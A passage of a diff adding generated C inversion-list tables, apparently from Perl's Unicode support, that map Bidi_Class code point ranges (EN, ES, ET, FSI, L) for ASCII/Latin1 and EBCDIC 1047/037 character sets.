+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__EN_invlist[] = { /* for EBCDIC 1047 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x6F0,
+	0x6FA,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2488,
+	0x249C,
+	0xFF10,
+	0xFF1A,
+	0x102E1,
+	0x102FC,
+	0x1D7CE,
+	0x1D800,
+	0x1F100,
+	0x1F10B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__EN_invlist[] = { /* for EBCDIC 037 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0x6F0,
+	0x6FA,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2488,
+	0x249C,
+	0xFF10,
+	0xFF1A,
+	0x102E1,
+	0x102FC,
+	0x1D7CE,
+	0x1D800,
+	0x1F100,
+	0x1F10B
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__ES_invlist[] = { /* for ASCII/Latin1 */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2B,
+	0x2C,
+	0x2D,
+	0x2E,
+	0x207A,
+	0x207C,
+	0x208A,
+	0x208C,
+	0x2212,
+	0x2213,
+	0xFB29,
+	0xFB2A,
+	0xFE62,
+	0xFE64,
+	0xFF0B,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__ES_invlist[] = { /* for EBCDIC 1047 */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4E,
+	0x4F,
+	0x60,
+	0x61,
+	0x207A,
+	0x207C,
+	0x208A,
+	0x208C,
+	0x2212,
+	0x2213,
+	0xFB29,
+	0xFB2A,
+	0xFE62,
+	0xFE64,
+	0xFF0B,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__ES_invlist[] = { /* for EBCDIC 037 */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4E,
+	0x4F,
+	0x60,
+	0x61,
+	0x207A,
+	0x207C,
+	0x208A,
+	0x208C,
+	0x2212,
+	0x2213,
+	0xFB29,
+	0xFB2A,
+	0xFE62,
+	0xFE64,
+	0xFF0B,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__ET_invlist[] = { /* for ASCII/Latin1 */
+	45,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x23,
+	0x26,
+	0xA2,
+	0xA6,
+	0xB0,
+	0xB2,
+	0x58F,
+	0x590,
+	0x609,
+	0x60B,
+	0x66A,
+	0x66B,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x2030,
+	0x2035,
+	0x20A0,
+	0x20D0,
+	0x212E,
+	0x212F,
+	0x2213,
+	0x2214,
+	0xA838,
+	0xA83A,
+	0xFE5F,
+	0xFE60,
+	0xFE69,
+	0xFE6B,
+	0xFF03,
+	0xFF06,
+	0xFFE0,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__ET_invlist[] = { /* for EBCDIC 1047 */
+	53,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x4B,
+	0x5B,
+	0x5C,
+	0x6C,
+	0x6D,
+	0x7B,
+	0x7C,
+	0x8F,
+	0x91,
+	0x9F,
+	0xA0,
+	0xB1,
+	0xB3,
+	0x58F,
+	0x590,
+	0x609,
+	0x60B,
+	0x66A,
+	0x66B,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x2030,
+	0x2035,
+	0x20A0,
+	0x20D0,
+	0x212E,
+	0x212F,
+	0x2213,
+	0x2214,
+	0xA838,
+	0xA83A,
+	0xFE5F,
+	0xFE60,
+	0xFE69,
+	0xFE6B,
+	0xFF03,
+	0xFF06,
+	0xFFE0,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__ET_invlist[] = { /* for EBCDIC 037 */
+	53,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x4B,
+	0x5B,
+	0x5C,
+	0x6C,
+	0x6D,
+	0x7B,
+	0x7C,
+	0x8F,
+	0x91,
+	0x9F,
+	0xA0,
+	0xB1,
+	0xB3,
+	0x58F,
+	0x590,
+	0x609,
+	0x60B,
+	0x66A,
+	0x66B,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x2030,
+	0x2035,
+	0x20A0,
+	0x20D0,
+	0x212E,
+	0x212F,
+	0x2213,
+	0x2214,
+	0xA838,
+	0xA83A,
+	0xFE5F,
+	0xFE60,
+	0xFE69,
+	0xFE6B,
+	0xFF03,
+	0xFF06,
+	0xFFE0,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_BC__FSI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2068,
+	0x2069
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__L_invlist[] = { /* for ASCII/Latin1 */
+	860,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2B9,
+	0x2BB,
+	0x2C2,
+	0x2D0,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x374,
+	0x376,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3F6,
+	0x3F7,
+	0x483,
+	0x48A,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAF1,
+	0xAF2,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xBF3,
+	0xBFB,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC78,
+	0xC7F,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE3F,
+	0xE40,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3E,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1390,
+	0x139A,
+	0x1400,
+	0x1401,
 	0x1680,
 	0x1681,
+	0x169B,
+	0x169D,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DB,
+	0x17DC,
+	0x17DD,
+	0x17DE,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1946,
+	0x19DE,
+	0x1A00,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
 	0x2000,
+	0x200E,
+	0x200F,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20F1,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2336,
+	0x237B,
+	0x2395,
+	0x2396,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x26AC,
+	0x26AD,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF9,
+	0x2D00,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x302E,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3040,
+	0x3099,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x31C0,
+	0x31E4,
+	0x321D,
+	0x321F,
+	0x3250,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA60D,
+	0xA610,
+	0xA66F,
+	0xA680,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA828,
+	0xA82C,
+	0xA838,
+	0xA83A,
+	0xA874,
+	0xA878,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1D,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF0,
+	0x10000,
+	0x10101,
+	0x10102,
+	0x10140,
+	0x1018D,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102FC,
+	0x10376,
+	0x1037B,
+	0x10800,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x11052,
+	0x11066,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x11660,
+	0x1166D,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F16A,
+	0x1F16C,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE1000,
+	0xEFFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE,
+	0x110000
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__L_invlist[] = { /* for EBCDIC 1047 */
+	886,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2BB,
+	0x2C2,
+	0x2D0,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x374,
+	0x376,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3F6,
+	0x3F7,
+	0x483,
+	0x48A,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAF1,
+	0xAF2,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xBF3,
+	0xBFB,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC78,
+	0xC7F,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE3F,
+	0xE40,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3E,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1390,
+	0x139A,
+	0x1400,
+	0x1401,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x169D,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DB,
+	0x17DC,
+	0x17DD,
+	0x17DE,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1946,
+	0x19DE,
+	0x1A00,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
